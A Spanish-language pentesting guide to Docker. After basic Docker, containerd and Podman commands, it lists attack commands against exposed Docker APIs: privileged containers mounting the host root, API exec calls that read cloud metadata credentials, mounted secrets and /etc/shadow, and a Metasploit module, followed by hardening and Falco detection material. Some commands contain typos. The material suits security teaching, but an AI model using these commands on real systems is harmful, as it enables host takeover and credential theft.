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2375, 2376 Pentesting Docker

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Docker Basics

What is

Docker es la plataforma de vanguardia en la industria de la contenedorización, liderando la innovación continua. Facilita la creación y distribución sin esfuerzo de aplicaciones, abarcando desde tradicionales hasta futuristas, y asegura su despliegue seguro en diversos entornos.

Basic docker architecture

  • containerd: Este es un runtime central para contenedores, encargado de la gestión integral del ciclo de vida de un contenedor. Esto implica manejar la transferencia y almacenamiento de imágenes, además de supervisar la ejecución, monitoreo y red de los contenedores. Más detalles sobre containerd se exploran más a fondo.

  • El container-shim juega un papel crítico como un intermediario en el manejo de contenedores sin cabeza, asumiendo sin problemas el control de runc después de que los contenedores son inicializados.

  • runc: Reconocido por sus capacidades de runtime de contenedor ligero y universal, runc está alineado con el estándar OCI. Es utilizado por containerd para iniciar y gestionar contenedores de acuerdo con las directrices OCI, habiendo evolucionado a partir del original libcontainer.

  • grpc es esencial para facilitar la comunicación entre containerd y el docker-engine, asegurando una interacción eficiente.

  • El OCI es fundamental para mantener las especificaciones OCI para runtime e imágenes, siendo las últimas versiones de Docker compatibles con los estándares de imagen y runtime OCI.

Basic commands

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd fue desarrollado específicamente para satisfacer las necesidades de plataformas de contenedores como Docker y Kubernetes, entre otras. Su objetivo es simplificar la ejecución de contenedores en varios sistemas operativos, incluyendo Linux, Windows, Solaris y más, al abstraer la funcionalidad específica del sistema operativo y las llamadas al sistema. La meta de Containerd es incluir solo las características esenciales requeridas por sus usuarios, esforzándose por omitir componentes innecesarios. Sin embargo, lograr este objetivo por completo se reconoce como un desafío.

Una decisión clave de diseño es que Containerd no maneja la red. La red se considera un elemento crítico en sistemas distribuidos, con complejidades como la Red Definida por Software (SDN) y el descubrimiento de servicios que varían significativamente de una plataforma a otra. Por lo tanto, Containerd deja los aspectos de red para ser gestionados por las plataformas que soporta.

Mientras que Docker utiliza Containerd para ejecutar contenedores, es importante notar que Containerd solo soporta un subconjunto de las funcionalidades de Docker. Específicamente, Containerd carece de las capacidades de gestión de red presentes en Docker y no soporta la creación de enjambres de Docker directamente. Esta distinción resalta el papel enfocado de Containerd como un entorno de ejecución de contenedores, delegando funcionalidades más especializadas a las plataformas con las que se integra.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman es un motor de contenedores de código abierto que se adhiere a los estándares de la Open Container Initiative (OCI), desarrollado y mantenido por Red Hat. Se destaca de Docker con varias características distintas, notablemente su arquitectura sin demonio y soporte para contenedores sin privilegios de root, lo que permite a los usuarios ejecutar contenedores sin privilegios de root.

Podman está diseñado para ser compatible con la API de Docker, lo que permite el uso de comandos de la CLI de Docker. Esta compatibilidad se extiende a su ecosistema, que incluye herramientas como Buildah para construir imágenes de contenedores y Skopeo para operaciones de imágenes como push, pull e inspect. Más detalles sobre estas herramientas se pueden encontrar en su página de GitHub.

Diferencias Clave

  • Arquitectura: A diferencia del modelo cliente-servidor de Docker con un demonio en segundo plano, Podman opera sin un demonio. Este diseño significa que los contenedores se ejecutan con los privilegios del usuario que los inicia, mejorando la seguridad al eliminar la necesidad de acceso root.

  • Integración con Systemd: Podman se integra con systemd para gestionar contenedores, permitiendo la gestión de contenedores a través de unidades de systemd. Esto contrasta con el uso de systemd por parte de Docker principalmente para gestionar el proceso del demonio de Docker.

  • Contenedores Sin Privilegios de Root: Una característica fundamental de Podman es su capacidad para ejecutar contenedores bajo los privilegios del usuario que los inicia. Este enfoque minimiza los riesgos asociados con las brechas de contenedores al garantizar que los atacantes solo obtengan los privilegios del usuario comprometido, no acceso root.

El enfoque de Podman ofrece una alternativa segura y flexible a Docker, enfatizando la gestión de privilegios de usuario y la compatibilidad con flujos de trabajo existentes de Docker.

Nota que, dado que podman busca soportar la misma API que docker, puedes usar los mismos comandos con podman que con docker, tales como:

podman --version
podman info
pdoman images ls
podman ls

Información Básica

La API remota se ejecuta por defecto en el puerto 2375 cuando está habilitada. El servicio por defecto no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de docker con privilegios. Al usar la API remota, se puede adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host.

Puerto por defecto: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Enumeración

Manual

Ten en cuenta que para enumerar la API de docker puedes usar el comando docker o curl como en el siguiente ejemplo:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

Si puedes contactar la API remota de docker con el docker command puedes ejecutar cualquiera de los docker comandos comentados previamente para interactuar con el servicio.

Puedes export DOCKER_HOST="tcp://localhost:2375" y evitar usar el parámetro -H con el comando docker

Escalación de privilegios rápida

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

A veces verás 2376 disponible para el TLS endpoint. No he podido conectarme a él con el cliente de docker, pero es posible hacerlo con curl.

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

Si deseas más información sobre esto, hay más información disponible de donde copié los comandos: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

Automático

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromiso

En la siguiente página puedes encontrar formas de escapar de un contenedor de docker:

Docker Security

Abusando de esto es posible escapar de un contenedor, podrías ejecutar un contenedor débil en la máquina remota, escapar de él y comprometer la máquina:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

Escalación de privilegios

Si estás dentro de un host que está usando docker, puedes leer esta información para intentar elevar privilegios.

Descubriendo secretos en contenedores Docker en ejecución

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

Verifica env (sección de variables de entorno) en busca de secretos y puedes encontrar:

  • Contraseñas.

  • Ip’s.

  • Puertos.

  • Rutas.

  • Otros… .

Si deseas extraer un archivo:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Asegurando tu Docker

Asegurando la instalación y uso de Docker

  • Puedes usar la herramienta https://github.com/docker/docker-bench-security para inspeccionar tu instalación actual de docker.

  • ./docker-bench-security.sh

  • Puedes usar la herramienta https://github.com/kost/dockscan para inspeccionar tu instalación actual de docker.

  • dockscan -v unix:///var/run/docker.sock

  • Puedes usar la herramienta https://github.com/genuinetools/amicontained para ver los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:

  • docker run --rm -it r.j3ss.co/amicontained

  • docker run --rm -it --pid host r.j3ss.co/amicontained

  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Asegurando Imágenes de Docker

  • Puedes usar una imagen de docker de https://github.com/quay/clair para escanear tus otras imágenes de docker y encontrar vulnerabilidades.

  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"

  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Asegurando Dockerfiles

Registrando actividad sospechosa

  • Puedes usar la herramienta https://github.com/falcosecurity/falco para detectar comportamientos sospechosos en contenedores en ejecución.

  • Nota en el siguiente fragmento cómo Falco compila un módulo del kernel e inserta. Después de eso, carga las reglas y comienza a registrar actividades sospechosas. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos detectó cómo se abrió un shell dentro de uno de los contenedores.

docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Monitoreo de Docker

Puedes usar auditd para monitorear docker.

Referencias

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

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